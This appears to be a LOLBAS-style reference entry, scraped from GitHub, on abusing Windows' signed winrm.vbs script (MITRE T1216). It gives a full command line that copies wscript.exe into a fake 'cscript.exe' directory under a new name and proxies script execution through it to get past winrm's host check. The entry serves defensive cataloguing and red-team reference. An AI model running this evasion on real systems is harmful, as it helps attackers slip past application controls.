Winrm.vbs.md
July 31, 2018 ยท View on GitHub
Winrm.vbs
winrm quickconfig
Execute winrm - requires registry changes to activate COM object
mkdir %SystemDrive%\BypassDir\cscript.exe copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
Creates Cscript.exe as dir to bypass winrm validation that cscript is running. Requires that a xls file is planted.
-
Windows binary: True
-
Bypasses Default AppLocker Rules: False
-
Mitre: T1216
-
Links:
-
File path:
- C:\Windows\System32\winrm.vbs
- C:\Windows\SysWOW64\winrm.vbs
-
Acknowledgement:
- Name: Matt Graeber
- Twitter: @mattifestation
- Blog: http://www.exploit-monday.com/
- Name: Matt Nelson
- Twitter: @enigma0x3
- Blog: https://enigma0x3.net
- Name: Casey Smith
- Twitter: @subtee
- Blog: http://subt0x11.blogspot.com/
- Name: Matt Graeber
OS: